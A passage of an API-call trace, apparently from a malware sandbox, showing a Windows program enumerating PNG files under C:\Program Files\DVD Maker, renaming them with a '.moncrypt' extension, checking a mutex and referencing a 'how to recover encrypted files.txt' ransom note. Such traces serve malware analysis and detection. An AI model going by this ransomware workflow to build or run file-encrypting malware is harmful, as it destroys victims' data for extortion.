cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.663] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png", cchWideChar=88, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.pngi", lpUsedDefaultChar=0x0) returned 88 [0057.663] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\NavigationRight_SelectionSubpicture.pngi", lpUsedDefaultChar=0x0) returned 4 [0057.664] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0057.664] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.664] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.664] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.664] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.665] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0057.665] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0057.665] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.665] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.665] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.665] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.665] GlobalUnlock (hMem=0x44000c) returned 0 [0057.666] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.666] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.666] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.666] GlobalUnlock (hMem=0x44000c) returned 0 [0057.666] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.666] GlobalUnlock (hMem=0x440004) returned 0 [0057.666] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.666] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.667] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png", cchWideChar=79, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 79 [0057.667] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0057.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0057.667] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.667] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.667] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.667] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0057.668] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.669] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.moncrypt")) returned 0 [0057.669] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.669] GlobalLock (hMem=0x440004) returned 0x550170 [0057.669] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.669] GlobalUnlock (hMem=0x440004) returned 0 [0057.669] GlobalLock (hMem=0x440004) returned 0x550170 [0057.669] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.669] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.669] GlobalUnlock (hMem=0x440004) returned 0 [0057.669] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.669] GlobalUnlock (hMem=0x44000c) returned 0 [0057.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x438b0fc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x438b0fc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.669] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.669] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.669] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.669] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.669] GlobalUnlock (hMem=0x44000c) returned 0 [0057.669] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.670] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.670] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.670] GlobalUnlock (hMem=0x44000c) returned 0 [0057.670] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.670] GlobalUnlock (hMem=0x440004) returned 0 [0057.670] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.670] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x438b0fc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x438b0fc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.670] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.670] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.670] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.670] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.670] GlobalUnlock (hMem=0x440004) returned 0 [0057.670] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.670] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.670] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.670] GlobalUnlock (hMem=0x440004) returned 0 [0057.670] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.670] GlobalUnlock (hMem=0x44000c) returned 0 [0057.670] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.670] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.670] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.670] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.670] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.670] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.670] GlobalUnlock (hMem=0x44000c) returned 0 [0057.670] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.670] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.670] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.671] GlobalUnlock (hMem=0x44000c) returned 0 [0057.671] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.671] GlobalUnlock (hMem=0x440004) returned 0 [0057.671] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.671] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, 